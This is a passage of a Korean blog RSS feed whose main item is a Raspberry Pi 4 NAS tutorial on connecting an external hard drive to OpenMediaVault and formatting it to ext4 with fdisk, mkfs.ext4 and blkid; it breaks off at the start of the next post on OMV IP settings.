      <category>raspberry pi</category>
      <category>나스</category>
      <category>라즈베리파이</category>
      <category>미디어 서버</category>
      <category>외장하드 포맷</category>
      <category>홈 스트리밍</category>
      <author>루딘이</author>
      <guid isPermaLink="true">https://chmodi.tistory.com/145</guid>
      <comments>https://chmodi.tistory.com/145#entry145comment</comments>
      <pubDate>Tue, 20 Jul 2021 21:15:08 +0900</pubDate>
    </item>
    <item>
      <title>[라즈베리파이4 NAS - 홈 스트리밍] 4-1. 외장하드 포맷</title>
      <link>https://chmodi.tistory.com/144</link>
      <description>&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;라즈베리파이의&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;로컬 디스크는&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;MicroSD Card를&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;사용하기 때문에&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;불안정하기도 하고,&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;많은 자료를 저장하려면&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;외장 하드를&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;연결할 수 밖에 없습니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 style=&quot;font-size: 35px; border-bottom: 4px solid #777777; padding: 55px 10px 1px; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;주의점&lt;/b&gt;&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;외장 하드 연결은&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;할 때마다&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;문제가 발생합니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;정서 관리가 필요합니다.&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;div class=&quot;bodyAdsense&quot; style=&quot;text-align: center;&quot;&gt;
&lt;style type=&quot;text/css&quot;&gt;
.contentsadsense {
display: inline-block;
width: 85%;
height: 280px;
}
@media (min-width:680px) {
.bodyAdsense .contentsadsense {
display: inline-block;
width: 85%;
height: 250px;
}
}
@media (min-width:783px) {
.bodyAdsense .contentsadsense {
display: inline-block;
width: 730px;
height: 280px;
}
}
&lt;/style&gt;
&lt;span&gt;
&lt;ins class=&quot;adsbygoogle contentsadsense&quot; data-ad-client=&quot;ca-pub-3404419172696964&quot; data-ad-slot=&quot;8663946782&quot; data-ad-layout=&quot;in-article&quot; data-ad-format=&quot;fluid&quot; data-language=&quot;ko&quot;&gt;&lt;/ins&gt;
&lt;script&gt;
window.adsbygoogle.push({});
&lt;/script&gt;
&lt;/span&gt;
&lt;/div&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 style=&quot;font-size: 35px; border-bottom: 4px solid #777777; padding: 55px 10px 1px; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;외장 하드 연결&lt;/b&gt;&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;외장하드를 연결한 후,&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;인식이 되었는지&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;확인해야 합니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;blockquote data-ke-style=&quot;style3&quot;&gt;&lt;u&gt;&lt;b&gt;저장소 &amp;gt; 디스크&lt;br /&gt;&lt;/b&gt;&lt;/u&gt;- 보통은 메뉴만 들어가도 보이나&lt;br /&gt;&amp;nbsp; 설치부터 쭉 해와서 재부팅을 안했다면&lt;br /&gt;&amp;nbsp; 안 보일수 있습니다.&lt;br /&gt;&amp;nbsp; 재부팅을 한 번해 보세요.&lt;/blockquote&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-origin-width=&quot;700&quot; data-origin-height=&quot;428&quot; data-filename=&quot;이미지 43.png&quot; width=&quot;500&quot; height=&quot;306&quot; data-ke-mobilestyle=&quot;widthOrigin&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/4ewox/btq9TFAMADf/gPaEhgOZEnfwy7Vn4tAt00/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/4ewox/btq9TFAMADf/gPaEhgOZEnfwy7Vn4tAt00/img.png&quot; data-alt=&quot;인식된 외장 하드&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/4ewox/btq9TFAMADf/gPaEhgOZEnfwy7Vn4tAt00/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2F4ewox%2Fbtq9TFAMADf%2FgPaEhgOZEnfwy7Vn4tAt00%2Fimg.png&quot; data-origin-width=&quot;700&quot; data-origin-height=&quot;428&quot; data-filename=&quot;이미지 43.png&quot; width=&quot;500&quot; height=&quot;306&quot; data-ke-mobilestyle=&quot;widthOrigin&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;인식된 외장 하드&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;외장하드의 연결이 불안한 게&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;전력의 문제인가 싶어&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;최대 성능으로 설정해 주었습니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;blockquote data-ke-style=&quot;style3&quot;&gt;&lt;u&gt;&lt;b&gt;디스크 &amp;gt; 편집 &amp;gt; 고급 전원 관리 &amp;gt;254 - 최대 성능 및 최대 전력 사용량 &amp;gt; 저장&lt;/b&gt;&lt;/u&gt;&lt;/blockquote&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-origin-width=&quot;700&quot; data-origin-height=&quot;629&quot; width=&quot;500&quot; height=&quot;449&quot; data-ke-mobilestyle=&quot;widthOrigin&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/chO2Ax/btq9XbTspWN/toriBuUCq7afUcNWAJcQz0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/chO2Ax/btq9XbTspWN/toriBuUCq7afUcNWAJcQz0/img.png&quot; data-alt=&quot;최대 성능, 최대 전력 사용 설정&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/chO2Ax/btq9XbTspWN/toriBuUCq7afUcNWAJcQz0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FchO2Ax%2Fbtq9XbTspWN%2FtoriBuUCq7afUcNWAJcQz0%2Fimg.png&quot; data-origin-width=&quot;700&quot; data-origin-height=&quot;629&quot; width=&quot;500&quot; height=&quot;449&quot; data-ke-mobilestyle=&quot;widthOrigin&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;최대 성능, 최대 전력 사용 설정&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;div class=&quot;bodyAdsense&quot; style=&quot;text-align: center;&quot;&gt;
&lt;style type=&quot;text/css&quot;&gt;
.contentsadsense {
display: inline-block;
width: 85%;
height: 280px;
}
@media (min-width:680px) {
.bodyAdsense .contentsadsense {
display: inline-block;
width: 85%;
height: 250px;
}
}
@media (min-width:783px) {
.bodyAdsense .contentsadsense {
display: inline-block;
width: 730px;
height: 280px;
}
}
&lt;/style&gt;
&lt;span&gt;
&lt;ins class=&quot;adsbygoogle contentsadsense&quot; data-ad-client=&quot;ca-pub-3404419172696964&quot; data-ad-slot=&quot;8663946782&quot; data-ad-layout=&quot;in-article&quot; data-ad-format=&quot;fluid&quot; data-language=&quot;ko&quot;&gt;&lt;/ins&gt;
&lt;script&gt;
window.adsbygoogle.push({});
&lt;/script&gt;
&lt;/span&gt;
&lt;/div&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 style=&quot;font-size: 35px; border-bottom: 4px solid #777777; padding: 55px 10px 1px; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;디스크 포맷&lt;/b&gt;&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;OMV 웹 콘솔에도&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;포맷 기능이 있으나.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;u&gt;&lt;b&gt;직접 ext4로 포맷한 후&lt;/b&gt;&lt;/u&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;u&gt;&lt;b&gt;연결&lt;/b&gt;&lt;/u&gt;하는 게&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;편합니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;blockquote data-ke-style=&quot;style3&quot;&gt;root 계정으로 SSH 접속 후&lt;br /&gt;시스템에 연결된&lt;br /&gt;디스크들 중 외장하드를&lt;br /&gt;확인합니다.&lt;br /&gt;&lt;br /&gt;&lt;u&gt;&lt;b&gt;# fdisk -l&lt;/b&gt;&lt;/u&gt;&lt;/blockquote&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-origin-width=&quot;691&quot; data-origin-height=&quot;209&quot; width=&quot;500&quot; height=&quot;151&quot; data-ke-mobilestyle=&quot;widthOrigin&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/b3cAmE/btq99nYNTKN/ecCtRXRHkuuJoCgOgNyT7K/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/b3cAmE/btq99nYNTKN/ecCtRXRHkuuJoCgOgNyT7K/img.png&quot; data-alt=&quot;연결된 외장하드 확인&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/b3cAmE/btq99nYNTKN/ecCtRXRHkuuJoCgOgNyT7K/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fb3cAmE%2Fbtq99nYNTKN%2FecCtRXRHkuuJoCgOgNyT7K%2Fimg.png&quot; data-origin-width=&quot;691&quot; data-origin-height=&quot;209&quot; width=&quot;500&quot; height=&quot;151&quot; data-ke-mobilestyle=&quot;widthOrigin&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;연결된 외장하드 확인&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;blockquote data-ke-style=&quot;style3&quot;&gt;연결된 외장하드의&lt;br /&gt;기존 파티션을 삭제하고&lt;br /&gt;새로운 파티션을 생성합니다.&lt;br /&gt;&lt;br /&gt;&lt;u&gt;&lt;b&gt;# fdisk [연결된 디스크 경로]&lt;br /&gt;&lt;/b&gt;&lt;/u&gt;&amp;nbsp; &lt;u&gt;&lt;b&gt;d(파티션 삭제) &amp;gt; n(파티션 생성) &amp;gt; p(primary) &amp;gt; 엔터(default) &amp;gt; 엔터(default) &amp;gt; w(변경 적용)&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;/b&gt;&lt;/u&gt;여기서 &lt;u&gt;&lt;b&gt;파티션 삭제는&lt;/b&gt;&lt;/u&gt;&lt;br /&gt;&lt;u&gt;&lt;b&gt;기존에 존재하는&lt;/b&gt;&lt;/u&gt;&lt;br /&gt;&lt;u&gt;&lt;b&gt;파티션의 수 만큼&lt;/b&gt;&lt;/u&gt;&lt;br /&gt;&lt;u&gt;&lt;b&gt;반복&lt;/b&gt;&lt;/u&gt;해야 합니다.&lt;/blockquote&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-origin-width=&quot;692&quot; data-origin-height=&quot;467&quot; data-filename=&quot;이미지 002.png&quot; width=&quot;500&quot; height=&quot;337&quot; data-ke-mobilestyle=&quot;widthOrigin&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bCR1KY/btq93nMNLGI/KEbtLv8xM5ZMyS4p4ySYkK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bCR1KY/btq93nMNLGI/KEbtLv8xM5ZMyS4p4ySYkK/img.png&quot; data-alt=&quot;파티션 삭제 및 생성&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bCR1KY/btq93nMNLGI/KEbtLv8xM5ZMyS4p4ySYkK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbCR1KY%2Fbtq93nMNLGI%2FKEbtLv8xM5ZMyS4p4ySYkK%2Fimg.png&quot; data-origin-width=&quot;692&quot; data-origin-height=&quot;467&quot; data-filename=&quot;이미지 002.png&quot; width=&quot;500&quot; height=&quot;337&quot; data-ke-mobilestyle=&quot;widthOrigin&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;파티션 삭제 및 생성&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;blockquote data-ke-style=&quot;style3&quot;&gt;ext4 파일 시스템으로&lt;br /&gt;파티션을 포맷시킵니다.&lt;br /&gt;&lt;br /&gt;파티션의 경로를 확인한 후,&lt;br /&gt;&lt;u&gt;&lt;b&gt;# fdisk -l&lt;br /&gt;&lt;br /&gt;&lt;/b&gt;&lt;/u&gt;ext4로 포맷합니다.&lt;br /&gt;&lt;u&gt;&lt;b&gt;# mkfs.ext4 [연결된 파티션 경로]&lt;br /&gt;&lt;/b&gt;&lt;/u&gt;&amp;nbsp; &amp;nbsp;&lt;u&gt;&lt;b&gt;Creatin&lt;/b&gt;&lt;b&gt;g&lt;/b&gt;&lt;b&gt; j&lt;/b&gt;&lt;b&gt;ournal (262144 blocks): 엔터&lt;/b&gt;&lt;/u&gt;&lt;/blockquote&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-origin-width=&quot;692&quot; data-origin-height=&quot;293&quot; data-filename=&quot;이미지 003.png&quot; width=&quot;500&quot; height=&quot;212&quot; data-ke-mobilestyle=&quot;widthOrigin&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bpWqLG/btq97OQagta/dcLZm4OikLKvtKVvmuwUd0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bpWqLG/btq97OQagta/dcLZm4OikLKvtKVvmuwUd0/img.png&quot; data-alt=&quot;파티션의 경로 확인&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bpWqLG/btq97OQagta/dcLZm4OikLKvtKVvmuwUd0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbpWqLG%2Fbtq97OQagta%2FdcLZm4OikLKvtKVvmuwUd0%2Fimg.png&quot; data-origin-width=&quot;692&quot; data-origin-height=&quot;293&quot; data-filename=&quot;이미지 003.png&quot; width=&quot;500&quot; height=&quot;212&quot; data-ke-mobilestyle=&quot;widthOrigin&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;파티션의 경로 확인&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-origin-width=&quot;694&quot; data-origin-height=&quot;229&quot; data-filename=&quot;이미지 004.png&quot; width=&quot;500&quot; height=&quot;165&quot; data-ke-mobilestyle=&quot;widthOrigin&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/LARfU/btq98uKEASt/nwxBajoFRACLkR6cwlJxqk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/LARfU/btq98uKEASt/nwxBajoFRACLkR6cwlJxqk/img.png&quot; data-alt=&quot;ext4로 포맷&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/LARfU/btq98uKEASt/nwxBajoFRACLkR6cwlJxqk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FLARfU%2Fbtq98uKEASt%2FnwxBajoFRACLkR6cwlJxqk%2Fimg.png&quot; data-origin-width=&quot;694&quot; data-origin-height=&quot;229&quot; data-filename=&quot;이미지 004.png&quot; width=&quot;500&quot; height=&quot;165&quot; data-ke-mobilestyle=&quot;widthOrigin&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;ext4로 포맷&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;blockquote data-ke-style=&quot;style3&quot;&gt;포맷의 결과를 확인합니다.&lt;br /&gt;&lt;br /&gt;&lt;u&gt;&lt;b&gt;# blkid&lt;/b&gt;&lt;/u&gt;&lt;/blockquote&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-origin-width=&quot;690&quot; data-origin-height=&quot;129&quot; data-filename=&quot;이미지 005.png&quot; width=&quot;500&quot; height=&quot;93&quot; data-ke-mobilestyle=&quot;widthOrigin&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/ck1Y9E/btq92wQJ3oh/kKrqBQ3ZxTZbpuDlfvWpuK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/ck1Y9E/btq92wQJ3oh/kKrqBQ3ZxTZbpuDlfvWpuK/img.png&quot; data-alt=&quot;파티션 확인&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/ck1Y9E/btq92wQJ3oh/kKrqBQ3ZxTZbpuDlfvWpuK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fck1Y9E%2Fbtq92wQJ3oh%2FkKrqBQ3ZxTZbpuDlfvWpuK%2Fimg.png&quot; data-origin-width=&quot;690&quot; data-origin-height=&quot;129&quot; data-filename=&quot;이미지 005.png&quot; width=&quot;500&quot; height=&quot;93&quot; data-ke-mobilestyle=&quot;widthOrigin&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;파티션 확인&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;div class=&quot;bodyAdsense&quot; style=&quot;text-align: center;&quot;&gt;
&lt;style type=&quot;text/css&quot;&gt;
.contentsadsense {
display: inline-block;
width: 85%;
height: 280px;
}
@media (min-width:680px) {
.bodyAdsense .contentsadsense {
display: inline-block;
width: 85%;
height: 250px;
}
}
@media (min-width:783px) {
.bodyAdsense .contentsadsense {
display: inline-block;
width: 730px;
height: 280px;
}
}
&lt;/style&gt;
&lt;span&gt;
&lt;ins class=&quot;adsbygoogle contentsadsense&quot; data-ad-client=&quot;ca-pub-3404419172696964&quot; data-ad-slot=&quot;8663946782&quot; data-ad-layout=&quot;in-article&quot; data-ad-format=&quot;fluid&quot; data-language=&quot;ko&quot;&gt;&lt;/ins&gt;
&lt;script&gt;
window.adsbygoogle.push({});
&lt;/script&gt;
&lt;/span&gt;
&lt;/div&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 style=&quot;font-size: 35px; border-bottom: 4px solid #777777; padding: 55px 10px 1px; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;끝&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;외장하드의 포맷을 마쳤으며,&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;다음 글에서는&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;외장하드의 마운트와&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;부팅 시 자동으로&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;마운트하도록 설정하는 방법을&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;소개하겠습니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;blockquote data-ke-style=&quot;style3&quot;&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;a href=&quot;https://chmodi.tistory.com/116&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;2020.12.13 - [NAS/Raspberry Pi] - [라즈베리파이4 NAS 설치 1] 모니터 없이 Raspberry Pi OS( 구 라즈비안, Raspbian) 설치&lt;/a&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;a href=&quot;https://chmodi.tistory.com/140&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;2021.07.19 - [NAS/Raspberry Pi] - [라즈베리파이4 NAS - 홈 스트리밍] 1-1. 기본 세팅&lt;/a&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;a href=&quot;https://chmodi.tistory.com/141&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;2021.07.19 - [NAS/Raspberry Pi] - [라즈베리파이4 NAS - 홈 스트리밍] 1-2. 계정 변경&lt;/a&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;a href=&quot;https://chmodi.tistory.com/142&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;2021.07.20 - [NAS/Raspberry Pi] - [라즈베리파이4 NAS - 홈 스트리밍] 2. 업데이트 및 OMV 5 설치&lt;/a&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;a href=&quot;https://chmodi.tistory.com/143&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;2021.07.20 - [NAS/Raspberry Pi] - [라즈베리파이4 NAS - 홈 스트리밍] 3. OMV 5 설정(IP, 호스트네임, 관리자 암호)&lt;/a&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;a href=&quot;https://chmodi.tistory.com/144&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;2021.07.20 - [NAS/Raspberry Pi] - [라즈베리파이4 NAS - 홈 스트리밍] 4-1. 외장하드 포맷&lt;/a&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;a href=&quot;https://chmodi.tistory.com/145&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;2021.07.20 - [NAS/Raspberry Pi] - [라즈베리파이4 NAS - 홈 스트리밍] 4-2. 외장하드 마운트 및 자동 마운트&lt;/a&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;a href=&quot;https://chmodi.tistory.com/146&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;2021.07.20 - [NAS/Raspberry Pi] - [라즈베리파이4 NAS - 홈 스트리밍] 5. Docker, Portainer 설치&lt;/a&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;a href=&quot;https://chmodi.tistory.com/147&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;2021.07.20 - [NAS/Raspberry Pi] - [라즈베리파이4 NAS - 홈 스트리밍] 6-1. 토렌트: transmission 설치&lt;/a&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;a href=&quot;https://chmodi.tistory.com/148&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;2021.07.21 - [NAS/Raspberry Pi] - [라즈베리파이4 NAS - 홈 스트리밍] 6-2. 토렌트: transmission 설정&lt;/a&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;</description>
      <category>NAS/Raspberry Pi</category>
      <category>docker</category>
      <category>media server</category>
      <category>Nas</category>
      <category>omv</category>
      <category>PORTAINER</category>
      <category>raspberry pi</category>
      <category>라즈베리파이</category>
      <category>미디어 서버</category>
      <category>외장하드 포맷</category>
      <category>홈 스트리밍</category>
      <author>루딘이</author>
      <guid isPermaLink="true">https://chmodi.tistory.com/144</guid>
      <comments>https://chmodi.tistory.com/144#entry144comment</comments>
      <pubDate>Tue, 20 Jul 2021 03:44:47 +0900</pubDate>
    </item>
    <item>
      <title>[라즈베리파이4 NAS - 홈 스트리밍] 3. OMV 5 설정(IP, 호스트네임, 관리자 암호)</title>
      <link>https://chmodi.tistory.com/143</link>
      <description>&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이제 OMV 5를&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;설정할 차례입니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 style=&quot;font-size: 35px; border-bottom: 4px solid #777777; padding: 55px 10px 1px; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;고정 IP&lt;/b&gt;&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이미 공유기에서&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;MAC 주소와 IP 주소를&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;연결했기 때문에&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;굳이 해줄 필요는 없으나,&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;정석대로 하고자&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;고정 IP를 설정했습니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
